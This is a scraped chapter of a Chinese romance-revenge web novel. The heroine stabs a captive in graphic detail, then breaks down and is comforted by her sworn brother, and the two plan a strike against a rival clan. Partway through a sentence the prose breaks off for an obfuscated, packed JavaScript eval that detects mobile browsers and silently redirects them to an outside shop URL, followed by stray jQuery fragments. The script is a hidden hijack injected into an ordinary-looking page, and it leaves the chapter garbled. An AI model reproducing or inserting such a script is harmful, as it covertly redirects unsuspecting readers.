78. 宿命
作品:《守寡后被义弟盯上了怎么办》 熟悉的触感从肩头传来,而今,李宴方偏偏最不想见到的就是他。
一直藏身于暗处保护她的萧偃已经把二人的对话尽数听去,李宴方没曾想,先前的一个不经意的安排会让自己陷入无法自拔的难堪中。
李宴方过去刻意掩盖的、隐瞒的,自己所经历过的最无助、最悲愤、最可耻的过往,在萧偃面前只不过是精心造作的形同虚设。
她没有理会他,是不知道如何面对他。
该怨恨他窥探自己的隐私吗?该恼怒他假装不知、欺瞒自己吗?
李宴方很无力地想,为什么这件事会在这个节骨眼上暴露?她厌恶自己无法彻底放下此事,更厌恶在大事迫在眉睫的此时此刻,她竟然难以分神料理。
手中的匕首变成她沉默但癫狂的反击。
愤懑与仇恨冲垮李宴方最后一丝理智,喷发潮涌的情绪无可遏制地宣泄着,她的身体不由自主地颤动,那一把由她操控的匕首正以毫无章法地疯狂攻势朝陆朴刺去。
暗室内回荡着钝器刺入血肉的酣畅,利刃敲击骨骼的暴戾,任人宰割者发出的连连哀嚎……
血腥,残暴,混乱,恶浊腥丑的血肉飞溅到李宴方惨白失色的面庞上,恶心的触感愈发鲜明,她起身,居高临下地审视逐渐虚弱的陆朴。
她冷不丁嗤笑一声,将鲜血遍布的匕首随心所欲地扔到地上,匕首在石砖上弹起、滚动,留下一条不堪入目的痕迹。
腥风萦绕,李宴方狂躁的热血逐渐冷下来,她冷冰冰的目光扫过陆朴鳞伤遍布的四肢,欣赏了一会儿自己的杰作,心头骤然一空,呆滞木讷地站在原地。
陆朴死了又如何?她的人生没有回溯了。
李宴方蓦地被一股沉重的疲惫包裹、拖拽,把挺直的脊背打弯,让她沉溺在旧事的伤痛和自厌中。
粗砺的指尖温柔地拂上李宴方的脸颊,萧偃一言不发,却真切地懂得李宴方为何会疯癫失态,他心疼不已,想告诉她,他一直会在她身边,为她擦去飞溅的血痕,为她阻拦防不胜防的暗箭。
刹那间,缱绻的柔情绽放在阴暗封闭、血腥森寒的暗室内。
血流如注的陆朴颤巍巍抬起头,就在他那震惊、厌恶、仇恨的目光落在李宴方脸上时,李宴方不满地拂去萧偃抬起的手臂,她故作镇定地留下一句——别让他死了。
李宴方转头快步离去,就像逃亡。
她离开萧偃的视线后,由快步疾走,变成飞速奔跑,不过须臾便出了暗室。
暗室外是西院,李宴方没有停下,继续逃窜,想要逃到一个他寻觅不到的地方,可双腿似乎没能领会到她的意图,习惯自然地跨入熟悉的院落,双手也不听使唤地推开门扉。
室内的一桌一椅,一草一木映入眼帘,李宴方突然意识到,在东院烧毁后她就一直住在这里。
她其实无处可去了。
李宴方颓丧地坐下,木然地望着洞开的两扇门,廊外的灯光透过花窗在她脚下印出重重叠叠的影。
一道高大的身影叠在花枝繁盛的窗影上。
萧偃关上门,动作很轻,尽量不让沉重的木门发出一丝一毫声音,然后他走向内间,到面盆架上取来棉巾,洗净,拧干。
他的步伐也很轻,比上房梁的猫儿和敛息行刺的刺客更轻,因而在他半蹲在李宴方跟前时,她眼皮一跳,仿佛受到惊吓。
湿润洁净的棉巾触及麻木冷肃的脸,李宴方皱着眉头躲闪。
“一会儿就好了。”
鲜血飞溅到脸上后缓缓垂落,丑陋泪痕流经素净面容,李宴方像诡谲奇异的木偶,又像不苟言笑的鬼魅。
萧偃该怎么办?
身世之谜、爹娘旧事的冲击,令萧偃如遭狂风卷摧,可如果只是他独自直面真相,他能纵容自己去哀伤沉痛,去不忿不甘。
而现在不可以,他要镇定沉着地张开臂膀,支撑起摇摇欲坠的天穹;他要干脆果断地拨开阴云,寻觅能燃起希望的一线日光。
只因萧偃要保护的人在此时此刻最需要他。
萧偃小心翼翼地擦拭李宴方面容上的血污,阿姊没有再拒绝他的好意,他稍稍安心。
今夜对阿姊的冲击实在是过大,若是单单只是爹娘旧事,阿姊先前已有所推断、心中亦有应对准备,不至于彻底影响她的心神。
但老贼陆朴杀人诛心,把最为险恶的一招用在最出其不意的一处,将她推向逐渐崩溃的深渊。
深渊之下,巨兽张牙舞爪,张开血盆大口,等待着大快朵颐。
浓烈的悔意骤然窜上萧偃心头,他怎么就听从了阿姊的计策,避开“太后安插的心腹”,让她去审问陆朴?
萧偃最开始就应该拒绝她的建议,等到陆朴准备拿那件事开刀之时,堵住他的嘴!
悔之晚矣的萧偃轻手轻脚地将李宴方面部和颈部的血迹都擦干净,又替她擦干净沾血的手掌,垂眼见她衣衫上刺目的血迹,犹豫着开口:“换身衣服吧。”
李宴方没有回应,而是深吸一口气,冷冷道:“为何对我隐瞒?”
“那种人死了就死了,何必叫你知晓?”
胸膛里那颗心扑通扑通跳,萧偃直觉这个答案不能让她满意。
李宴方豁然想起和月山庄内他曾说过一句话,“我不是陆韫之,我也不会让任何人成为陆韫之。”
原来当初李宴方就理解错了,她以为萧偃说的是陆韫之蔑视她、限制她,而现在她才发现,这一句话还包括了不会像陆韫之一样利用她、伤害她。
在那么早的时候,萧偃就早已将她看破,洞悉她心底深处最不可直视的黑暗阴沉与鲜血淋漓。
可被所爱之人看透的心情真是不妙,李宴方就这样无知无觉地暴露了最不想暴露的弱点。
萧偃因此而对她产生同情吗?
他对她无限的柔情,竟然都是因为他怜惜她么?
……怎么会这样?
李宴方面如死灰,突然站起,萧偃紧张兮兮地跟着起身,目不转睛地盯着她。
她猝然动手朝萧偃的后背捶打。
沉闷的声响密密传来,透过他硬挺的骨骼,敲入他的肺腑,震动他的心脏。
阿姊下手重,也痛,这一下又一下接连不断的叩问与斥责,叫他也感同身受到阿姊此刻的痛。
萧偃皱起眉头忍受,毫无怨言,甚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100038|190369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
至庆幸于阿姊愿意对他动手。
今夜之事,足以颠覆过往,久远而苦涩的真相瞬息之间涌入她的脑海,她如何能轻易接受?
萧偃庆幸,阿姊找到了他无可辩白的过错,让她寻到发泄的原由,他宁可被她捶打责骂,也不愿意她像过往她曾经历过的许多大事那样,沉默地咽下所有心中翻涌的惊涛骇浪,独自硬撑过一遭又一遭山崩海啸。
他的阿姊可以拥有短暂的不理智,拥有短暂的属于她的宣泄时刻,因为现在与将来,她的身边一直会有他。
疼痛在身,酸涩在心,而他不曾有半句辩解。
直到身后击打的骤然消失了,李宴方似是被抽去全身力气,不由自主地瘫软双腿,跌坐在地面。
忍了许久的泪水猝然决堤而出,李宴方捂脸痛哭,发泄之后,自己那点微不足道的委屈烟消云散,她终于胆敢直视亡故的双亲的过往人生。
李宴方该怎么办?
哀痛无助的痛哭挑动萧偃紧张的神经,几乎是在阿姊爆发的那一刻,他的心头绞痛也随之袭来,蹲下将她拥入怀中。
方才对萧偃拳打连连的人却在此刻毫无芥蒂地靠上他的胸膛。
李宴方毫无芥蒂地奔赴,而萧偃毫无芥蒂地接纳。
应当庆幸,她在翻滚咆哮的情仇孽海里颠沛流离的那一颗心,得以寻觅到一处可供停泊的礁石岛屿。
李宴方后知后觉,在前缘前尘、宿命因果的轮回里,她的世界因而乾坤颠倒,而能与她一道直面崩塌的人竟然只有萧偃。
也只能是他。
她与他同为父母的孩儿,这一切注定只能二人共担,她与他的命运仿佛在十七年前那封召命落笔时,就被悄无声息地捆绑在一处,就注定一同等待着来自于将来某年某月的揭晓与捉弄。
李宴方无法想象,还会有谁能如萧偃一样,为离世的双亲,从生长血肉里燃烧出真切强烈的义愤填膺?还会有谁能如萧偃一样,是她不可分割、不会背叛的铁血同盟?
没有谁了,再也没有谁能偷偷穿梭时光,参与李宴方的过往岁月,和她培养出不疑的信任,和她锻造出默契的心跳,和她感同身受、涌入同一片苦海。
她与他,只能选择彼此,就像某种无法破解的诅咒,就是某个不刊不易的判词。
李宴方靠在萧偃的胸膛上,泪水垂落如急雨,浇透夏衫,他的心跳如此清晰,如此急促;他的呼吸如此低沉,如此伤痛。
烛火下,知晓同一个秘密、分担同一份痛苦的两人紧紧相拥。
她捧起他苍白的脸,凝望他忧愁哀伤的眼眸,颤抖着靠近,鼻尖几乎相贴。
“我没有办法再像过去那样面对冯峨。”
萧偃敏锐地察觉她称呼的改变,而她要说的下一句话,更为颠覆。
“她对我的关照如今看来就似施舍与怜悯,而你最清楚,我就是一个睚眦必报的小人,我任性妄为、自私自利。今夜陆家的人寻不到陆朴,定会察觉有变,在对方起事之前,我们必须先下手为强,你认为该如何做?”
萧偃手上的两千余人精兵,足以出其不意地改变局势,只是,究竟该如何血旧恨,报旧仇?

